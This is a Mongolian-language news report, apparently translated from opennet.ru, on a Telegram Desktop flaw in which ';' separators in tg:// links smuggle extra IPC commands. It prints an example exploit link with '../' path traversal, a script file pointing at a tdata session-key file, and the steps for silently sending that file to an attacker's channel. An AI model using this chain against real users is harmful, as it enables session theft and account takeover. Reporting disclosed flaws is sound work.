Telegram Desktop дээрх эмзэг байдал нь холбоос дээр дарж дурын файлуудыг илгээх боломжийг олгодог.

Telegram-ын албан ёсны ширээний компьютерын үйлчлүүлэгч Telegram Desktop дээрх эмзэг байдлын (CVE-2026-107181) дэлгэрэнгүй мэдээлэл болон ашиглалтын аргуудыг дэлгэлээ. Энэ асуудал нь IPC командууд дахь зугтаагүй тусгаарлагч тэмдэгтүүдийг зохисгүй ашигласнаас үүдэлтэй юм. Энэ нь хуваалцсан холбоос дээр дарж хохирогчийн системээс халдагч руу ямар ч файлыг, түүний дотор Telegram бүртгэлийг хулгайлахад ашиглаж болох сессийн түлхүүр агуулсан файлуудыг дамжуулах боломжийг олгосон. Эмзэг байдлыг Telegram Desktop 7.2.9 дээр зассан.

"tg://" холбоосууд дээр дарахад үйлдлийн систем нь энэ төрлийн холбоостой холбоотой Telegram Desktop програмыг ажиллуулдаг. Хэрэв энэ програмын өөр нэг жишээ систем дээр аль хэдийн ажиллаж байгаа бол ажиллаж байгаа процесс нь холбоосыг IPC интерфэйсийг ашиглан сокетоор дамжуулан дамжуулдаг. Асуудал нь хэрэв та холбоосын параметрүүдийн дунд ";" тэмдэгтийг оруулбал (жишээлбэл, "tg://x?a=1;OPEN…") агуулгыг хувааж, ";" тэмдэгтийн дараах хэсгүүдийг тусдаа команд болгон боловсруулдагт оршино.

Халдлага нь OPEN командыг "interpret:" URI схемийн хамт ашигладаг бөгөөд энэ нь IPC-ээр дамжуулан үйлчилгээний скриптүүдийг ажиллуулах зориулалттай бөгөөд шинэ хувилбаруудыг сувгууд руу автоматаар түлхэхэд ашиглагддаг. Скрипт гэдэг нь суваг руу илгээх файл болон сувгийн ID-г тодорхойлдог урьдчилан тодорхойлсон орон нутгийн файл юм. Скрипт рүү чиглэсэн файлын замыг үйлчилгээний дэд директортой харьцуулан боловсруулдаг боловч файлын замуудад "../" хуулах шаардлагагүй тул халдагч үндсэн директороос гадуур хадгалагдсан файлуудад хандах боломжтой. Жишээлбэл, тэд файлыг Telegram бүлэгтээ байршуулж, дараа нь дараах холбоос үүсгэснээр скрипт гэж лавлаж болно:

tg://x?a=1;НЭЭЛТТЭЙ:тайлбарлах:../../../Downloads/Telegram%20Desktop/instructions.txt

Довтолгооны үе шатууд:

  • Халдагч хохирогчийг өөрийн бүлэгт нэмдэг (анхдагч тохиргоотой бол хохирогчийг нэмэхэд нэмэгдэж буй хүнээс баталгаажуулалт шаардагддаггүй) бөгөөд суваг болон скрипт рүү орох замыг агуулсан текст файлыг бүлэг рүү илгээдэг. Хохирогч бүлэгт нэгдэх үед Telegram энэ файлыг урьдчилан тодорхойлсон системийн дэд санд хадгалдаг.

    суваг: 2005234537
    file: tdata/D877F783D5D3EF8Cs

  • Халдагч хохирогч руу гэмгүй харагдах холбоосыг хост руу нь илгээдэг (жишээ нь, "https://coolsite.org") бөгөөд энэ холбоосыг дахин чиглүүлэлтээр нээхэд сервер Халдагчийн URI-г 'tg://x?a=1;OPEN:interpret:…;OPEN:interpret:….' хэлбэртэй URI-аар сольсон.
  • Холбоос дээр дарахад хөтөч нь "tg://" URI боловсруулагчийг дууддаг бөгөөд энэ нь дээр дурдсан командын гүйцэтгэлийн гинжин хэлхээг эхлүүлдэг бөгөөд үүний үр дүнд файлууд ямар ч мэдэгдэл харуулахгүйгээр эсвэл илгээсэн эсэхийг баталгаажуулахыг хүсэхгүйгээр халдагчийн суваг руу илгээгддэг.
  • Шифрлэлт болон баталгаажуулалтын түлхүүрүүдийг агуулсан tdata дэд сангаас файл хүлээн авсан бөгөөд хэрэглэгчийн тохируулсан локал нууц үг байхгүй тохиолдолд халдагч хохирогчийн холболтын сессийг төхөөрөмж дээрээ хуулбарлаж чадна.

Эх сурвалж: opennet.ru

DDoS хамгаалалт, VPS VDS сервер бүхий сайтуудад найдвартай хостинг худалдаж аваарай 🔥 DDoS хамгаалалттай, VPS VDS сервертэй найдвартай вэбсайт хостинг худалдаж аваарай | ProHoster